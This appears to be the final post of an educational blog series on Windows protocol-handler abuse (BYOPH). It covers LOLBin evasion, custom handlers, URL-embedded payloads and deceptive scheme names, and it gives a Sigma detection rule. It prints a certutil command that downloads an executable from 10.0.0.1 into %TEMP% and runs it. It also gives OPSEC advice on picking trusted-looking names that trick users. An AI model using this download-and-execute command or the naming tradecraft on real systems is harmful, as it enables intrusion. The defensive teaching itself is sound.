What Advanced Attackers Do Differently
Series: Decoding BYOPH (Part 7 of 7 - FINALE) Reading time: 8 minutes Skill level: Advanced
π LinkedIn Post Content
Good news: You now know how to detect basic BYOPH attacks. Bad news: Sophisticated attackers donβt use powershell.exe in their handlers.
In this series finale, we explore advanced OPSEC techniquesβand how to evolve your defenses.
π― What Youβll Learn Today
β Why attackers avoid cmd.exe and PowerShell β LOLBins (Living Off The Land Binaries) alternatives β Custom handler techniques that evade detection β How to adapt your detection for advanced threats β The bigger picture: defending against feature abuse
π¨ The Problem with Basic Detection
If your detection rules only look for this:
1
command contains "powershell.exe" OR "cmd.exe"
Youβll catch script kiddies. You wonβt catch professionals.
Advanced adversaries know these processes are heavily monitored. They use alternatives.
π Detection Risk Spectrum
1
2
3
4
5
6
7
8
HIGH DETECTION RISK LOW DETECTION RISK
βββ powershell.exe βββ Custom compiled EXE
βββ cmd.exe βββ Direct WinAPI calls
βββ wscript.exe βββ In-memory execution
βββ cscript.exe βββ URL-embedded payloads
βββ mshta.exe
The sophistication increases β
| Approach | Detection Risk | Why |
|---|---|---|
| PowerShell one-liner | VERY HIGH | AMSI, logging, heavy monitoring |
| cmd.exe chains | HIGH | Command-line logging everywhere |
| LOLBins (mshta, etc.) | MEDIUM | Known but less monitored |
| Custom handler EXE | LOW-MEDIUM | Behavior-based detection only |
| Custom + in-memory | LOW | Minimal artifacts |
π§ Alternative 1: LOLBins
Living Off The Land Binaries are legitimate Windows tools that can be misused:
| LOLBin | Capability | Example |
|---|---|---|
certutil.exe |
Download files | -urlcache -f http://... |
bitsadmin.exe |
Background download | /transfer job http://... |
msiexec.exe |
Execute MSI | /q /i http://... |
regsvr32.exe |
Scriptlet execution | /s /n /u /i:http://... scrobj.dll |
rundll32.exe |
DLL execution | Various techniques |
Example handler command:
1
certutil.exe -urlcache -f http://10.0.0.1/update.exe %TEMP%\svc.exe && %TEMP%\svc.exe
Detection adaptation: Add LOLBins to your Sigma rules!
π§ Alternative 2: Custom Compiled Handler
The most OPSEC-conscious approach: build your own handler.
Characteristics: β’ Uses direct WinAPI calls (no shell spawning) β’ Performs network operations via WinHTTP/WinINet β’ Executes shellcode in-memory β’ Leaves minimal command-line artifacts
Registry command looks innocent:
1
"C:\Users\Public\UpdateHelper.exe" "%1"
What detection sees: A random EXE launched with a URL argument. No PowerShell. No cmd. No obvious indicators.
Detection adaptation: Focus on behavior, not signatures.
π§ Alternative 3: URL-Embedded Payloads
Embed the payload data directly in the URL:
1
myscheme://action?data=SGVsbG8gV29ybGQ=&key=abc123
The handler:
- Parses the URL
- Extracts base64-encoded data
- Decodes and executes
Benefits for attackers: β’ No network callback required β’ Single-stage execution β’ Harder to detect via network monitoring β’ All data is in the invoking URL
π OPSEC: Protocol Naming
Sophisticated attackers use trustworthy-appearing scheme names:
| Suspicious | Better Tradecraft |
|---|---|
hack:// |
microsoft-update:// |
payload:// |
teams-auth:// |
evil:// |
sharepoint-connect:// |
ping:// |
onedrive-sync:// |
Why it matters: β’ Browser prompts show the scheme name β’ Registry audits may spot obvious malicious names β’ Users are more likely to click βOpenβ for familiar-sounding schemes
π‘οΈ Evolved Detection Strategies
To catch advanced BYOPH, evolve your approach:
1. Behavior-Based Detection Focus on what the handler DOES, not what it IS: β’ Network connections after handler execution β’ File writes to unusual locations β’ Memory injection patterns
2. Parent-Child Analysis Alert on unusual parent-child relationships: β’ Browser β Unknown EXE β’ Office app β Unknown EXE β’ PDF reader β Unknown EXE
3. Registry Anomaly Detection
β’ New schemes not in baseline
β’ Schemes matching known software but different paths
β’ Handler executables in unusual locations (%TEMP%, %APPDATA%, C:\Users\Public)
4. Threat Intelligence Integration β’ Known malicious scheme names β’ Known staging paths β’ Known C2 patterns
π Advanced Detection Sigma Rule
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
title: Suspicious Protocol Handler - Advanced Indicators
detection:
selection_path:
TargetObject|contains: '\Software\Classes\'
TargetObject|endswith: '\shell\open\command'
selection_locations:
Details|contains:
- '\Users\Public\'
- '\AppData\'
- '\Temp\'
- '%TEMP%'
- '%APPDATA%'
selection_lolbins:
Details|contains:
- 'certutil'
- 'bitsadmin'
- 'msiexec'
- 'regsvr32'
condition: selection_path and (selection_locations or selection_lolbins)
level: high
π The Bigger Picture
BYOPH represents a broader security challenge: legitimate feature abuse.
Windows protocol handlers are designed to work this way. The same is true for: β’ Scheduled tasks β’ COM objects β’ WMI subscriptions β’ Office macros (when enabled)
The lesson: Features become attack surfaces. Defense requires understanding both the mechanism AND the abuse patterns.
π Series Recap: Key Takeaways
Part 1: Protocol handlers are registry entries that map URL schemes to applications
Part 2: Analyze artifacts to extract IoCs and understand attack patterns
Part 3: Build benign handlers to understand the mechanism safely
Part 4: HKCU requires no admin and takes precedence over HKLM
Part 5: Any URL-rendering application can invoke handlers
Part 6: Registry monitoring + Sysmon + Sigma = Detection foundation
Part 7: Advanced attackers use LOLBins, custom handlers, and OPSEC tradecraft
π Thank You!
This concludes the BYOPH series. I hope itβs helped you understand this technique from both offensive and defensive perspectives.
What you can do now:
- Audit your environment for unexpected handlers
- Implement the detection rules from Part 6
- Train users about .reg file and external application risks
- Share this knowledge with your team
β οΈ FINAL REMINDER
1
2
3
4
5
6
7
8
Use this knowledge responsibly.
β Only test on systems you own or have authorization for
β Follow ethical guidelines and laws
β Report vulnerabilities through proper channels
β Focus on improving defenses
Security knowledge is a responsibility.
π¬ Series Feedback
Iβd love to hear from you: β’ Which part was most valuable? β’ What would you like me to cover next? β’ How are you applying this in your work?
Share in the comments!
π Want More?
If you found this series valuable: β’ Follow me for future security content β’ Share the series with your security team β’ Connect if you want to discuss further
The full series with code samples is available on my GitHub.
#Cybersecurity #InfoSec #BlueTeam #RedTeam #OPSEC #ThreatHunting #BYOPH #SecurityResearch #WindowsSecurity #AdvancedThreats